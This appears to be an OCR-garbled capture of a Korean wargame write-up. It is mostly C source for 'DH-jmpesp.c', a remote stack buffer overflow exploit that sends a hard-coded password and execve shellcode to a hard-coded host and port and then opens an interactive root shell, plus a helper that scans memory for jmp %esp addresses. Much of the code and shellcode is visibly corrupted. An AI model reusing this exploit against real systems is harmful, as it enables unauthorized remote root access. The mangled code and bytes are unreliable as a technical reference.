FD_ZERO(&rset);
FD_SET(socks,&rset);
FD_SET(STDIN_FILENO,&rset);
select(socks+1,&rset, NULL,NULL,NULL);

if(FD_ISSET (socks,&rset))
{

died=read(socks,fall_again,sizeof(fall_again)-1);
if(died<=0)
{



fprintf(stdout,”\ n [*] Thanks.\ n\ n");
exit(0);
}
fall_again[died]=0;
fprintf(stdout,"%s",fall_again);

}

if(FD_ISSET(STDIN_FILENO,&rset))

{
died=read(STDIN_FILENO,fall_again,sizeof(fall_again)-1);
if(died>0)

{
fall_again[died]=0;
write(socks,fall_again,died);
}
}
}
return;
}
/* eof */
stack
: shell shell
, jmp %esp exploit method
jmp %esp 16 2byte(0Oxff,0xe4)
return ret %esp
%eip , %esp 4
, return jmp *%esp %esp
, (return address + 4) shellcode ,
brute-force , shell

, return address



jmp %esp stack
checking . exploit code

exploit code

—-— DH-jmpesp.c --
/*
** DH-jmpesp — x86/redhat-linux level4 remote buffer overflow exploit

** Version: jmp *%esp exploit method

*%x

** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.

*%x

** —— How to exploit --

*%x

** bash$ ./DH-jmpesp

o

**  DH-jmpesp - x86/redhat-linux level4 remote buffer overflow exploit.
** Version: jmp *%esp exploit method.
o

** [+] Setting socket.

** [#1] Connect, It's message.

**  [#2] Send password.

** [*] Send code.

**  [#3] Send QUIT command.

**  [+] Waiting, Shell.

** uid=0 gid=0

ok

*%x

** | like Zero and, Igniz!
*/

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>

#include <sys/socket.h>



#define PASSWD "eoeks$tiffur&wk\ n"

#define QUIT_CMD "QUIT\ n" /* quit */

#define DEF_CMD "ksh -i; id\ n" /* default command */
#define HOSTNAME "211.205.70.253"

#define PORT 23152

#define USER_CMD "USER0123456789012345678901234"
#define CHECK_BD "=CHECK1=" /* boundary str */

/* exploit method jmp %esp

ol code

*/

#define JIMP_ESP (0x4212c5eb) /* library address - jmp %esp code */

char shellcode[]=

"\ x31\ xd2\ x52\ x68\ x6e\ x2fA x73\ x68\ x68\ x2fi x2fA x62\ x69\ x
89\ xe3\ x52"

"\ x53\ x89\ xel\ x8d\ x42\ x0b\ xcd\ x80";

u_char __bighf[1024];

u_char __smibf[256];

char readbuf[2048];

int chk=0;

char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);

void usage(char *args);

int main(int argc,char *argv[])

{
int socket_fd,i=0,j=0,a,port=(PORT);
u_long retaddr=(JMP_ESP);
char hosthname[256]=HOSTNAME;
memset((char *)__smlbf,0,sizeof(__smibf));



fprintf(stdout,”\ n DH-jmpesp - x86/redhat-linux level4 remote buffer
overflow exploit.\ n");

fprintf(stdout,” Version: jmp *%%esp exploit method.\ n\ n");

fflush(stdout);

while((a=getopt(argc,argv,“h:p:j:")))=EOF){

switch(a){
case 'h":
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;
case 'p":
port=atoi(optarg);
break;
case 'j":
retaddr=strtoul(optarg,NULL,0);
break;
case '?":
(void)usage(argv[0]);
break;
}
}
r* , frame pointer overflow L */

for(i=0;i<120;i++)
__smlIbf[i]=0x41;

*(long *)&__smibf[i]=0x41414141; /* frame pointer */

i+=4;

/* jmp %esp code , %esp+4 Lx/
*(long *)&__smlbf[i]=retaddr; /* return address (jmp esp) */

i+=4;

/* ret , %esp+4 L*



for(j=0;j<strlen(shellcode);j++) /* shellcode */
__smibf[i++]=shellcode][j];

memset((char *)__bigbf,0,sizeof(__bigbf));
snprintf(__bigbf,sizeof(__bigbf)-
1,"%s%s%s\ n",USER_CMD,CHECK_BD, _smibf);
fprintf(stdout,” [+] Setting socket.\ n");
socket_fd=setsock(hostname,port);
#ifdef DEBUG
sleep(10);
#endif
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#1] Connect, It's message.\ n");
#ifdef DEBUG
fprintf(stdout,"--\ n%s\ n--\ n",readbuf);
#endif
/* password */
send(socket_fd,PASSWD,strlen(PASSWD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#2] Send password.\ n");
#ifdef DEBUG
fprintf(stdout,"--\ n%s\ n--\ n",readbuf);
#endif
/* send code */
fprintf(stdout,” [*] Send code.\ n");
send(socket_fd,__bigbf,strlen(__bigbf),0);

memset((char *)readbuf,0,sizeof(readbuf));

send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#3] Send QUIT command.\ n");

fprintf(stdout,” [+] Waiting, Shell.\ n");



sleep(1);

send(socket_fd,command,strlen(command),0);
memset((char *)readbuf,0,sizeof(readbuf));
chk=recv(socket_fd,readbuf,sizeof(readbuf)-1,0);

if(chk==-1){
fprintf(stdout,” [-] Failed, exploit\ n\ n");

close(socket_fd);

exit(-1);

}

else

{
fprintf(stdout,"%s\ n",readbuf);
(void)shell(socket_fd);

}

close(socket_fd);

void usage(char *args){

fprintf(stdout,” Usage: %s -options arguments\ n\ n",args);

fprintf(stdout,” —j [jmpesp] - jmp *%%esp address.\ n");
fprintf(stdout,” —-h [hostname] - target host.\ n");

fprintf(stdout,” —-p [port] - port number.\ n");

fprintf(stdout,”\ n Example: %s -hlocalhost —-jOx41414141\ n\ n",args);
exit(0);

int setsock(char *hostname,int port)

{

int sock;
struct hostent *he;

struct sockaddr_in x_addr;

if((he=gethostbyname(hostname))==NULL)



herror("gethostbyname");

exit(1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
{

perror(“socket");

exit(1);
}

x_addr.sin_family=AF_INET;
X_addr.sin_port=htons(port);
x_addr.sin_addr=*((struct in_addr*)he->h_addr);

bzero(&(x_addr.sin_zero),8);

if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)

{
perror(“connect");
exit(1);

}

return(sock);

void shell(int socks)

{
int died;
char fall_again[1024];
fd_set rset;
bzero(&fall_again,1024);

while(1)

{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(socks,&rset);
FD_SET(STDIN_FILENO,&rset);
select(socks+1,&rset, NULL,NULL,NULL);



if(FD_ISSET (socks,&rset))

{
died=read(socks,fall_again,sizeof(fall_again)-1);
if(died<=0)

{
fprintf(stdout,”\ n [*] Thanks.\ n\ n");
exit(0);
}
fall_again[died]=0;
fprintf(stdout,"%s",fall_again);

}

if(FD_ISSET(STDIN_FILENO,&rset))

{
died=read(STDIN_FILENO,fall_again,sizeof(fall_again)-1);
if(died>0)

{
fall_again[died]=0;
write(socks,fall_again,died);
}
}
}
return;
}
/* eof */

jmp %esp code



-- DH-autofd.c --

/%

** jmp *%esp code auto finder.
** jdea method by bkbll ;D

*%x

** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

#include <signal.h>

u_long start=0x4211cc79; /* */
u_long r_n=0;

u_char *ptr;

/* segfault , L*/

void print_err(){
fprintf(stderr,"SIGSEGV exit.\ n");

fprintf(stderr,"error addr: %p\ n",ptr+r_n);

r_n++;
exit(-1);
}
int main(){

ptr=(u_char *)start;
signal(SIGSEGV,print_err);

/* stack */
while((u_long)ptr+r_n<Oxbfffffff){

if((*(ptr+r_n)==0xff)&&(*(ptr+r_n+1)==0xe4)){

I* address */

fprintf(stdout,"addr: %p\ n",ptr+r_n);

r_n+=2; /* (Oxff,0xe4)



r_n++;

}
exit(0);

exploit
( RedHat Linux 9.0

, shell

jmp *%esp code

bash$ ./DH-autofd
addr: 0x42122ba7

addr: 0x42124720
addr: 0x421276¢c7

addr: 0x4212c53b

addr: 0x4212c5eb

addr: 0x42130b3b
SIGSEGV exit.

error addr: 0x42133000
bash$
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